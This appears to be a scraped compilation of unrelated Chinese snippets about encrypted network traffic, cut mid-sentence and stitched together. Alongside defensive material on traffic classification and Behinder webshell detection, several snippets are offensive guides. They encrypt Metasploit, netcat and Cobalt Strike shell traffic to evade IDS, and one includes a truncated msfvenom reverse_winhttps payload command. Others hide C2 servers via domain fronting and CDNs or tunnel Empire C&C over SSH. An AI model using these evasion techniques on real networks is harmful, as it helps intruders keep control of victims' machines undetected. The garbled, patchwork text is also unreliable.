加密流量识别什么加密与未加密流量,识别出哪些流量属于加密的,剩余则是未加密的识别加密流量所采用的加密协议,如 QUIC,SSL,SSH,IPSec识别流量所属的应用程序,如Skype,Bittorrent ,YouTube,谷歌搜索,淘宝网,凤凰网或中国银行等异常流量识别就是识别出 DDoS,APT,Botnet 等恶意流量内容参数识别就是对应用流量从内容参数上进一步分类,如视频清晰度,图片格式加密流量识别方法概览加密流量识别的首要任务是根据应用需求确定识别对象及识别粒度 加密流量识别研究内容如图 2-1 所示,加密流量识别方法主要包括六类:基于负载随机性检测的方法、基于有效负载的分类方法、基于数据包分布的分类方法、基于机器学习的分类方法、基于主机行为的分类方法,以及多种策略相结合的混合方法 “在针对单独、加密流量的识别中,我们在恶意程序家族归类的问题上,能够达到90.3%的准确率。 HTTP 流的头部信息;然后,选取具有明显区分度的特征集来识别加密恶意流量。
0X01 "冰蝎" 获取密钥过程 冰蝎执行流程 (图片来自红蓝对抗——加密Webshell“冰蝎”攻防) 冰蝎在连接webshell的时,会对webshell进行两次请求访问 为什么进行两次访问? webshell内添加任意内容 (比如gif89a子类的文件头或者其它标示字符) 冰蝎在初始化密钥时会对webshell进行两次访问,然后比较两次页面返回的差异,把两次请求都相同的字符记录一个位置,后续加密会用到这两个位置 (beginIndex,endIndex) ) 如图,根据数据包,beginIndex:8 endIndex:4 (含换行),冰蝎开始从数据流中截取被加密的数据从下标8开始到(数据包总长度-4) Waf (比如 Path 或者 HttpOnly 之类或者其它的) 冰蝎直接把返回协议头中的Set-Cookie字段直接添加到下一个请求包的Cookie字段中 正常的请求是不会携带Cookie属性的,这可是识别冰蝎流量最直接的一种办法 次的数据包进行截取,比对相同字符,比对之后,截取两次不同的数据,如果剩下的是16位的key,就可以证明这两个数据包就是冰蝎发出的,第三个数据包通过 0x02,0x03 中的一些bug,可以100%的匹配到冰蝎流量
此时,如果蓝队对攻击流量回溯分析,就可以复现攻击的过程,阻断红队行为,红队就无法进行渗透行为了。所以,我们需要对 shell 中通信的内容进行混淆或加密,实现动态免杀。 但是目标系统所在的网络区域存在IDS等流量监测设备,为了防止被监控后查杀,我们需要分别对 netcat、Metasploit、Cobalt Strike 三种远控工具的 shell 通信进行流量加密,从而绕过 可看到未加密的情况下,攻击机与目标机之间的通信都是明文传输的,所以流量设备可以很容易地查看到攻击者的行为记录的。 那么接下来将演示如何使用OpenSSL对nc进行流量加密。 1. Metasploit 流量加密 实验环境:Kali Linux 攻击 Windows 10 Metasploit 在内网做横行渗透时,这些流量很容易就能被检测出来,所以做好流量加密,就能避免审计工具检测出来 下面开始演示如何对 Metasploit 进行流量加密。
加密一直都是保护用户通讯隐私的重要特性,可如果恶意程序在传播过程中也加密的话,对这样的流量做拦截感觉就麻烦了很多。 整个过程中,网络设备的确不对用户数据做处理,仅是采用DPI(深度包检测技术)来识别clientHello和serverHello握手信息,还有识别连接的TLS版本。 “在这篇报告中,我们主要针对433端口的TLS加密数据流,尽可能公正地对比企业一般的TLS流量和恶意TLS流量。 “即便使用相同TLS参数,我们依然就够辨认和比较准确地进行分类,因为其流量模式相较其他流量的特性,还是存在区别的。我们甚至还能识别恶意程序更为细致的家族分类,当然仅通过网络数据就看不出来了。” ? “在针对单独、加密流量的识别中,我们在恶意程序家族归类的问题上,能够达到90.3%的准确率。
采用智能技术,实现网络管理精细化 为应对互联网的飞速发展,根据网络流量识别业务类型成为网络技术研究的重要方向和运营商的迫切需求。 通过业务识别系统,互联网运营商以及服务提供商能够采集与分析互联网中各种应用产生的流量,识别不同的业务流量类型并进行分类,进而根据不同的业务类型提供相应的保障响应和服务品质。 但随着互联网加密流量逐年攀升,传统DPI方案已很难从报文中直接获取信息并对流量进行分类,必须寻找新的方法来完成协议分类任务。在此背景下,基于人工智能的网络流量分析方案应运而生。 图一 绿网固网DPI解决方案架构 该方案以协助运营商等实现网络可视、可管、可控、可增值为宗旨,一站式地提供了针对加密流量的实时流量特征提取、学习建模、在线推断等功能,能够保障高性能的报文处理,实现高效的智能识别和智能控制能力 为了应对加密流量快速增长所带来的分析难题,DPI方案引入了AI技术,用来补强DPI的功能,却也对平台性能提出了更苛刻要求,因此平台的性能优化刻不容缓。
整个包只有一个Global Header定义了本数据包的读取规则/最大存长度限制等内容 Magic:4Byte:标记文件开始,并用来识别文件自己和字节顺序。 7f00 0001 7f00 0001 0102 0304 0000 0001 # Packet Data eada c850 6d02 0100 2a00 0000 # Packet Header ffff ffff ffff 0000 0000 0000 0800 4500 001c 0004 0000 4032 7caa 7f00 0001 7f00 2a00 0000 ffff ffff ffff 0000 0000 0000 0800 4500 001c 0001 0000 4032 7cad 7f00 0001 7f00 0001 0102 7f00 0001 7f00 0001 0102 0304 0000 0001 就是数据包,长度一共是 42 Byte
并没有加密,传输内容容易被检测和发现。 如下,我们简单生成一个Android平台的shell。 加密msf流量 创建证书 openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \ -subj "/C=UK/ST=London/L=London 这样会在桌面生成一个www.bbskali.cn.pem的证书 生成加密的shell msfvenom -p windows/meterpreter/reverse_winhttps LHOST= 发现流量全是密文了。
Tomcat本身也能够加密本地连接,我们是不是有点画蛇添足,多此一举呢? 第一步:编译并安装 mod_jk 虽然Tomcat本身带有JServ连接器,但CentOS 7软件库不包含Apache Web服务器使用该协议进行通信所需的模块mod_jk。 现在输入以下命令打开文件: sudo vi /etc/httpd/conf.d/ssl.conf 在VirtualHost配置块内部,添加一个JkMount指令,将该虚拟主机接收的所有流量传递给我们刚定义的 结论 现在你可以在Web服务器代理的帮助下使用SSL加密Tomcat连接。虽然配置单独的Web服务器进程可能会增加服务应用程序所涉及的软件,但它可以显着简化SSL部署保护流量的过程。 ---- 参考文献:《How To Encrypt Tomcat 8 Connections with Apache or Nginx on CentOS 7》
由越来越多的网页信息改为HTTPS 加密协议,传统的运营商基于DPI的数据获取和广告营销方式已经不可行,需要一种新的方式采集可用数据。 相对网页版,手机版的加密信息相对少些,因此可以以手机版本作为切入,获取用户部分信息。 实验结果: ?
摘要 近年来,随着机器学习、深度学习等人工智能技术的迅猛发展,其在图像识别、语音识别和自然语言处理等领域已经得到大规模应用,可以为传统方法很难解决或无法适用的问题提供有效的方案,也已经成为网络安全领域中的热门研究方向 由于数据包体量特征不受数据加密的影响,所以非常适合用于加密流量的检测。 ? 作者也尝试了使用流级的包长分布特征进行分类器训练,考虑到恶意流量样本中也包含与正常服务的通信,但又无法识别其中的良性流,所以只将包含一条流的样本拿出来作为训练集,最终将不包含任何恶意流的流量样本分类为正常 除了统计和机器学习方法外,《基于深度学习的物联网恶意软件家族细粒度分类研究》验证了深度学习在流量识别方向也具有很好的应用前景,充分展现了人工智能赋能网络安全领域的可行性。 加密代理篇: 《初探加密流量识别》 恶意软件篇: 《基于深度学习的物联网恶意软件家族细粒度分类研究》 《关于恶意软件加密流量检测的思考》 加密webshell篇: 《【冰蝎全系列有效】针对HTTPS加密流量的
又是喜闻乐见的加密流量!搞它。 APP是加壳的,先上frida-dexdump脱壳。 ? ? 这么多有encrypt关键字的,不好找,我们上DDMS: 通过profilling,我们很容易就能定位到加密函数: ? 上JEB,打开我们已经脱掉的dex文件: ? 恩,剩下的就是写脚本了。1. 为方便测试,我们使用burpy,这样就能直接在burpsuite上操作加密解密了。2. 为方便burpy调用加密和解密,需要把hook写成rpc的形式。
作为网络安全领域的神器,目前CS的通信流量已经能被成熟的IDS、IPS识别检测,一旦被防守人员发现CS的流量或溯源到CS的服务端的IP地址,渗透入侵可能会因此功亏一篑。 所以我们需要加密流量保护CS服务器以免被防守方的安全监控检测出来甚至溯源我们的CS服务器,目前常用的隐藏手段包括域前置、CDN、云函数等,接下来我将介绍这几种常见的隐藏C2的方式。 与云函数类似,域前置技术主要通过CDN节点将流量转发给真实的C2服务器,CDN节点ip可通过识别请求的Host头进行流量转发,利用我们配置域名的高可信度,那么就可以有效躲避针对DLP、agent等流量监测 与此同时我们可以发现外部地址随着每次请求一直变化,因此防守方溯源到我们C2服务器的IP地址几率也就非常低在 CS 中成功执行命令并在受害主机上开启 WireShark 抓包在 WireShark 中跑的都是TLS加密流量 C2服务器;而使用OpenSSL生成的RSA证书除了身份验证以外也能够帮助攻击者加密流量、隐藏通信。
利用视频流量分析,以色列特拉维夫大学和康奈尔大学的研究者们开发的新算法只需在电脑或手机浏览器中加入几行 JavaScript 代码,就能在这台设备连接到 Wi-Fi 后通过流量数据识别出用户观看的视频内容 网络传输加密技术给这些监控设置了障碍,但是我们知道网络传输分析,只能检查网络传输的规模和时序,而对于传输的内容,通常需要进行归纳分析。怎样对加密的视频进行有效的流量分析? 跨设备攻击(cross-device attacks):这是一种更强大的识别流量模式的方法。 为了基于记录的流量模式识别视频,我们使用了深度学习技术,并使用几种领先的流媒体服务上的电影内容训练了一个人工神经网络系统。 Q7:这种攻击会被探测到吗? A:这种单向攻击是完全被动式的,它无法被探测,无论是对于用户,还是对于基于网络的监视器而言。
分组密码 分组密码有很多种,但AES 128可能是目前最适合对在线流量进行加密的算法了,下面给出的是我们对不同种类分组密码的测试结果: ? 虽然这些加密算法都非常优秀,但是他们仍需要类似计数器(CTR)和基于认证的加密模块,其中最适合消息认证码(MAC)的加密算法就是LightMAC了,因为它在实现加密的过程中使用的是相同的分组密码。 置换函数 如果你花了很多时间去测试各种加密算法的话,你最终会发现在构造流密码、分组密码、加密认证模型、加密哈希函数和随机数生成器时,你需要的仅仅只是一个置换函数。 这里我们选择使用Gimli,因为它占用资源最少,并且可以用来构造针对通信流量的加密算法。 异或密码 接下来,我们实现一个针对数据流的简单异或操作(Just For Fun!)。 t s[48]; uint8_t buf[BUFSIZ];}crypt_ctx; uint8_tgf_mul(uint8_t x) { return (x << 1) ^ ((x >> 7)
加密规则 4. 加密处理过程 5. 解决方案详解 (1)新上线业务 (2)已上线业务改造 6. 中间件加密服务优势 7. 加密算法解析 三、用例测试 1. 准备测试用例环境 2. 在对比一段时间无误后,可以夜间操作将生产流量切到预发环境中。此方案相对安全可靠,只是时间、人力、资金、成本较高,主要包括:预发环境搭建、生产代码整改、相关辅助工具开发等。 可实现在不改变业务查询 SQL 前提下,已上线系统对加密前后数据进行安全、透明化迁移。 7. = | | 2 | fRV$wtz5FMV8bwH9 | NULL | 2xPXaMMndGl7I8CfQRVVwjLWHCA31RdEiQCtSK1KgqQ= "ECB",填充方法为"PKCS7";Java默认使用的是128位,加密方式为"ECB",填充方法为"PKCS5"。
流量控制的规则、准则和方法 8.1. Linux流量控制的通用规则 可以使用如下通用规则来学习Linux流量控制。可以使用tcng 或 tc进行初始化配置Linux下的流量控制结构。 一个设备可以对其传输的流量进行调整。由于已经在输入接口上接收到流量,因此无法调整这类流量。 解决此问题的传统方法是使用ingress策略。 每个接口必须包含一个qdisc。 流量后续会被分割到子类中,用于保证特定类型的流量的带宽或允许优先选择特定类型的流量。 8.3. 通过使用SFQ,特定队列中的流量可以分为多条流,然后公平地处理该队列中的每条流。表现良好的应用程序(和用户)会发现,使用SFQ和ESFQ足以满足大多数共享需求。 使用QoS/流量控制的脚本 9.1. wondershaper 更多参见 wondershaper. 9.2.
随着TLS的使用越来越普遍、有效证书的获取越来越廉价和容易,使用TLS的恶意软件也会越来越多,所以检测出恶意软件的TLS加密通信流量是非常必要的。 图6 客户端提供的扩展特征分布 2.3证书差异 (1)证书是否自签名:如图7所示,横坐标表示证书是否自签名,纵坐标表示在恶意流和良性流中各自的占比。 图7 证书是否自签名特征分布 (2)证书包含域名的数量:如图7所示,横坐标表示证书包含域名的数量,纵坐标表示在恶意流和良性流中各个数量的占比。 URL: https://www.stratosphereips.org/datasets-malware 更多加密流量相关文章,欢迎点击阅读相关文章。 加密代理篇: 《初探加密代理识别》 恶意软件篇: 《基于深度学习的物联网恶意软件家族细粒度分类研究》 加密webshell篇: 《【冰蝎全系列有效】针对HTTPS加密流量的webshell检测研究》 《
函数块 'Totalizer' ,可以计算出一个瞬时流量的累积值。 描述 例如,在测量流量或线速度时,可以使用距离或体积作为物理量,使用毫秒,秒,分钟,小时或者天作为测量时间的单位。 "Totalizer" 功能块必须在循环中断(比如OB30)中调用,表 01 是 "Totalizer" 功能块的输入和输出变量列表 参数 变量 数据类型 描述 输入 Value Real 瞬时流量 输入 Interval Time 瞬时流量的时间单位 输入 Cycle Time 扫描时间(循环中断周期) 输入 Reset Bool 累积值清零 输出 Total Real 累积值输出 表 01 被测量值 "Value" (速度或流量)的计量单位可以是米每秒,立方米每分钟或公里每小时。 然后在 STEP 7 (TIA Portal) 中打开这个库,并可以添加到S7-1200/S7-1500的项目中使用。
7-1 数字加密 输入一个四位数,将其加密后输出。方法是将该数每一位上的数字加9,然后除以10取余,做为该位上的新数字,最后将千位和十位上的数字互换,百位和个位上的数字互换,组成加密后的新四位数。 输入格式: 输入在一行中给出一个四位的整数x,即要求被加密的数。 输出格式: 在一行中按照格式“The encrypted number is V”输出加密后得到的新数V。
本文想通过标准的SSH的端口转发建立SSH形式的加密隧道,用于加密、隐蔽传输恶意流量,从而避免通过流量检测发现恶意行为。复现实验部分以C&C通信流量为例进入实验。 通过SSH隧道进行加密和隐藏的C&C流量在外部流量特征分析仅表现为标准SSH流量。 ? 二、实验原理 本次实验使用Empire工具快速搭建C&C信道,本文只简要介绍对于Empire工具。 三、实验步骤 实验说明:使用两台虚拟机ubuntu16 + windows 7,其中ubuntu16模拟控制端,windows 7模拟受控主机。 7) 至此以成功使用SSH隧道传输C&C通信流量,后续可在此基础上设计实现其他C&C控制命令及其它恶意功能。 (4) 配置C&C和SSH参数使二者配合实现加密、隐藏恶意流量的目的。 本文思想源于FreeBuf大神"興趣使然的小胃",特此感谢。